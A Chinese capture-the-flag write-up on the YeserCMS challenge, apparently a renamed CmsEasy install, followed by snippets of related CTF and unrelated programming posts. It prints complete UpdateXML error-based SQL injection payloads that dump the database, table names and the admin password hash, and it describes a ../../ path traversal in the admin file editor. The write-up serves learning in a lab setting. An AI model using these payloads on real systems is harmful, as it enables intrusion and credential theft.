学习了大佬们的操作才做出来,记录一次菜鸡的无能为力。

tips:flag在网站根目录下的flag.php中。我们的目标就是flag.php了。

题目说是心的CMS:YeserCMS,然而百度一下,出来该题的wp之外,并没有这个CMS。可能是把原来的CMS改名了,在网站中找看看有没有什么线索,最后发现有cmseasy的标识:

于是百度寻找cmseasy的漏洞,最终确认:http://www.anquan.us/static/bugs/wooyun-2015-0137013.html

https://www.cnblogs.com/yangxiaodi/p/6963624.html

进行报错注入漏洞利用:

构造url:http://57f208a0b1164a51a627a8c5645433ee0a4fbc4fc36a4159.changame.ichunqiu.com//celive/live/header.php

1、试验--暴库

post:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

注入成功:

2、拿表

post:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database() ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

确实是出表了,但是由于长度的限制,没出完,修改payload中1~32的范围,在修改的过程中,发现表开头都是yesercms_,查询结果是按照英文字母排序的,我们要找的user之类的表,于是更改范围,当更改到720~800的时候出现了表yesercms_user

3、爆管理员账号密码

这里就不爆用户名字段名和密码字段名了,其实在这个站中就是username和password

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

看到admin已出,但后面的密码没显示完,还用上面修改长度的方法来得到完整的password:ff512d4240cbbdeafada404677ccbe61

下面就是登陆后台了。

下一个点就是怎么得到flag.php中的内容。

在这里发现可以对服务器文件进行编辑:

这说明,我们可以对服务器中的文件进行读取,所以可以尝试读取flag.php的内容,抓取点击编辑时的包:

尝试修改该参数来读取flag.php,../../flag.php时成功拿到flag:

i春秋-百度杯九月场-YeserCMS(cmseasy的UpdateXML注入漏洞)的更多相关文章

  1. i春秋-web-upload(文件内容读取)(“百度杯”九月场)

    提示很明显,flag在flag.php中,所以,任务就是获取flag.php的内容. 方法一:一句话+菜刀(不再叙述) 方法二:上传脚本,使脚本拥有一定权限,再输出flag 先造一个php脚本 < ...

  2. i春秋-百度杯十月场-EXEC

    进入网站,查看源代码,发现是用vim编辑,而抓包没有有效信息,加参数也无果.百度查了一下vim能形成什么文件.找到答案说,用vim编辑文本xxx.php中途退出,会自动创建一个文件.xxx.php.s ...

  3. i春秋-百度杯十月场-vld

    查看源码,有提示,index.php.txt  ,  进入得到文本. 不太看得懂,后来百度,大致就是,flag1=.......&flag2=......&flag3=...... , ...

  4. i春秋-百度杯十月场-fuzzing

    1. 打开链接,提示 show me key,抓包,传值key=1,GET请求没有用,而POST请求有返回. 2.将md5值直接拿去解密,得到key=ichunqiu105    OK,进入下一步. ...

  5. [i春秋]“百度杯”CTF比赛 十月场-Hash

    前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...

  6. “百度杯”CTF比赛 九月场 YeserCMS

    打开题目 进入后是一个cms,但肯定的是这个cms不叫yesercms 于是我们开始随便翻翻,寻找信息,后台我也看了除了一个登陆界面,就没有其他的提示信息. 最后在文档下载的评论栏里发现,这个cms的 ...

  7. ctf百度杯十二月场what_the_fuck(一口盐汽水提供的答案)

    目录 漏洞利用原理 具体利用步骤 漏洞利用原理 read(, &s, 0x20uLL); if ( strstr(&s, "%p") || strstr(& ...

  8. i春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)

    打开发现是海洋cms,那就搜索相关漏洞 找到一篇介绍海洋cms的命令执行漏洞的文章:https://www.jianshu.com/p/ebf156afda49 直接利用其中给出的poc /searc ...

  9. i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3,phps等 php别名)

    网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...

随机推荐

  1. 关于永久POE

    1.传统POE 在我们的企业网络中,经常会使用交换机给IP电话或者无线AP供电,以使得其正常的工作. 正常情况下,我们都知道,普通的POE是在PSE交换机启动完成后,然后再给PD(Power Devi ...

  2. base64相关

    1.base64指定的64个字符(包含52个大小写.10个数字和+./): abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ...

  3. VS中编码格式的问题(待总结)

    今天又遇到这样的事情了,VS中代码明明是正确的,却报某个变量未定义.百思不得解,前面增加了一个换行之后,竟然又神奇般的复原了. 最后确认是编码格式的问题,后来把有问题的那部分代码粘贴到微软的" ...

  4. 动态规划-国王的金矿问题java

    紧接着上一篇动态规划问题,现在我们开始探讨一个新的问题,问:有一个发现了5个金矿,每一个金矿的储量不同,需要参与挖掘的工人数也不通,参与挖矿工人的总数量是10人,每一座金矿要么全挖,要么不挖,不能派一 ...

  5. java 第三次课后作业

    1.java字段初始化的规律 public class gouzao { public static void main(String[] args) { test te=new test(); Sy ...

  6. 基于FPM制作RPM软件包!

    工作中有如下情况需要将文件打包rpm: 避免重复工作,将源码程序打包为rpm 使用yum发布项目,项目打包为rpm 将自己写好的程序打包为rpm,提供给用户下载 其他 以前打包rpm是一个非常复杂的一 ...

  7. 「JSOI2014」序列维护

    「JSOI2014」序列维护 传送门 其实这题就是luogu的模板线段树2,之所以要发题解就是因为学到了一种比较NB的 \(\text{update}\) 的方式.(参见这题) 我们可以把修改操作统一 ...

  8. 如何在PHP中防止SQL注入

    使用PDO对象(对于任何数据库驱动都好用) addslashes用于单字节字符串的处理, 多字节字符用mysql_real_escape_string吧. 另外对于php手册中get_magic_qu ...

  9. Java连载66-数组的两种初始化方式

    一.数组 1.数组中存储元素的类型是统一的,每一个元素在内存中所占用的空间大小是相同的,知道数组的首元素的内存地址,要查找的元素只要知道下标,就可以快速的计算出偏移量,通过首元素内存地址加上偏移量,就 ...

  10. MyBatis+Oracle实现主键自增长的几种常用方式

    一.使用selectKey标签 <insert id="addLoginLog" parameterType="map" > <selectK ...